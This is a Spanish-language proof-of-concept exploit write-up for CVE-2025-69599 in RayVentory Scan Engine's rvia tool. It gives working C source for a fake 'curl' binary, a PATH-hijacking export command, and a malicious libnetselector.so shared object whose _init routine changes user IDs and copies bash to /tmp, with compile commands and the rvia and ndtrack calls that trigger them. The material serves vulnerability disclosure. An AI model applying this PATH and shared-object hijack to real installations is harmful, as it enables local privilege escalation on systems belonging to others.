
Exploit de prueba de concepto para CVE-2025-69599 que demuestra un elemento de ruta de búsqueda no controlada en RayVentory Scan Engine mediante secuestro de PATH e inyección de objetos compartidos para escalada de privilegios.
rvia en Raynet es vulnerable a un problema de Elemento de Ruta de Búsqueda No Controlada. Al cargar objetos compartidos y llamar a binarios del sistema (como .so, y binarios auxiliares), se llaman usando rutas relativas, lo que permite a un usuario manipular el binario final o el objeto .so ejecutado mediante la manipulación de la variable de entorno PATH.

En la siguiente evidencia, se crea un binario arbitrario llamado curl en el directorio /tmp.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("whoami");
return 0;
}
gcc curl.c -o curl # Compiling the binary
La variable PATH se modifica para que el primer directorio en buscar el comando curl cuando sea llamado por rvia sea /tmp.
export PATH=/tmp:$PATH
Y después de eso, una llamada a /opt/rvia/rvia getconfig usará nuestro binario curl manipulado.

Lo mismo aplica para la opción upload.

El mismo problema se encuentra al usar la opción rvia inventory, que internamente llama al binario ndtrack. El binario ndtrack llama a los comandos cat y sh usando una ruta relativa.


Finalmente, también se detectó que el binario ndtrack incluye objetos compartidos (archivos .so), usando rutas relativas.

En la siguiente evidencia es posible ver los pasos tomados para reemplazar la llamada relativa a libnetselector.so (también es posible realizar las mismas acciones con libuploader.so). En este caso se crea un objeto compartido personalizado; cuando este objeto compartido se ejecuta, se va a crear una copia de bash en el directorio /tmp como bash_so_hijack.
El siguiente es el código C para crear el objeto compartido personalizado llamado libnetselector.so
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
void _init() {
setuid(1001);
setgid(1001);
system("cp /bin/bash /tmp/bash_so_hijack");
}
gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # compiling the shared object

Es importante notar que esto solo funciona cuando se llama a ndtrack directamente, ya que cuando se invoca la opción inventory, se realiza una llamada a un script bash en /opt/rvia llamado ndtrack, que establece la variable de entorno PATH antes de llamar al binario ndtrack.
